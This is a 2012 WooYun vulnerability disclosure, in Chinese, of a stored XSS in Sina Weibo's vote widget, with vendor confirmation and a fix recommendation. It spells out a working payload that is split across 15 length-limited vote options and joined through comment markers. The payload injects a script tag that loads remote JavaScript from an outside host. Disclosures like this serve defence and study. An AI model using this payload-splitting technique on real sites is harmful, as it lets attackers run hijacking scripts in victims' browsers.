漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-07854
漏洞标题:新浪微博某官方应用存储型XSS - 重温一个利用方法~
相关厂商:新浪
漏洞作者: gainover
提交时间:2012-06-04 08:10
修复时间:2012-07-19 08:10
公开时间:2012-07-19 08:10
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:8
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-06-04: 细节已通知厂商并且等待厂商处理中
2012-06-04: 厂商已经确认,细节仅向厂商公开
2012-06-14: 细节向核心白帽子及相关领域专家公开
2012-06-24: 细节向普通白帽子公开
2012-07-04: 细节向实习白帽子公开
2012-07-19: 细节向公众公开
简要描述:
总的来说,该存储型XSS,是由于某页面的输出没过滤造成的。其实大部分都过滤了,就这里没过滤而已~ 算是小问题啦。 不过在漏洞的利用构造上,个人觉得还是挺有意思的!
在4,5年前,由于QQ空间对用户昵称没过滤,但是QQ昵称的长度又被限制在很短的字符,也没办法插入很多内容,当时我就自己想到了这个方法,然后成功攻击了腾讯官方的QQ空间的留言板(那时候年少无知,马上被和谐了,当时觉得挺有意思的)。在此之后,一直没有再遇到到可以使用这个方法的场景。今天正好在新浪微博某官方应用中碰到了,就分享给大家。
详细说明:
1. 问题描述
问题页面:http://vote.weibo.com/widget?vid=1772503
问题原因:图片类型投票时,在投票组件(widget)中,输出图片描述未进行正确的过滤,导致XSS
2. 问题是小问题,下面才是重点,利用过程。
2.1 首先查看http://vote.weibo.com/widget?vid=1764421页面的输出内容。
可以发现,实际可以被注入的地方为 <img title="{图片描述未过滤}"></img>
2.2 但是图片描述被限定为20个字符,之前Wooyun已经有人提交过选项内容长度没有在服务器端过滤的问题,经测试该问题已经修复,如下图:
如何利用这20个字符插入我们的代码呢?
首先想到的,还是 <img title=""onload="eval(xxxxx)"></img>
其中xxxxx是可控的变量,而且这个变量的长度只能在5之内,经过查找没有我们可控的变量,唯一一个可能被控的$CONFIG$都已经超出长度了。只有eval(name)可以用了!
2.3 但是eval(name)向来不是我推崇的方式。我们还得想办法!
这个时候,我第二想到的,就是我若干年前在QQ空间使用过的一个方法。如下:
因为投票实际上可以写入最多15个投票选项。
输出的HTML代码大致如下:
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
....(一共15个)
从而我们可以构造一个比较有意思的利用方式,模型如下:
<img title=""><script>/*"></img>
<img title="*/var a='xxxxxxx';/*"></img>
<img title="*/var b='yyyyyyy';/*"></img>
<img title="*/eval(a+b);/*"></img>
<img title="*/</script><b x=""></img>
2.4 上面的这个模型,会将之间的HTML代码通过/* ..... */ 的方式均变为注释。
2.5 基于以上,我们可以构造以下完整的利用模型,不能超过15个短句,投票数目有限制。其次无法调用新浪网页自带的函数。
"><script>/*
*/var l='\x3C';/*
*/var n='\x3E';/*
*/var b='xsst.si';/*
*/var c='naapp.c';/*
*/var d='om/m.js';/*
*/var e='script ';/*
*/var f=l+e+'src';/*
*/var g=l+'/'+e;/*
*/var x=b+c+d;/*
*/var y=f+'=//'+x;/*
*/var z=y+n+g+n;/*
*/var j=document;/*
*/j.write(z);/*
*/</script><"
2.6 然后我们进入投票创建页面:http://vote.weibo.com/create?tab=pic
一条一条的输入我们构造好的JS代码!
2.7 等待投票审核通过后,我们查看投票的widget页面 http://vote.weibo.com/widget?vid=1772503
漏洞证明:
见:http://vote.weibo.com/widget?vid=1772503
修复方案:
对 http://vote.weibo.com/widget?vid=1772503 里的图片 title属性中的【图片描述】进行输出过滤!
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2012-06-04 09:34
厂商回复:
感谢提供,我们马上处理.
最新状态:
暂无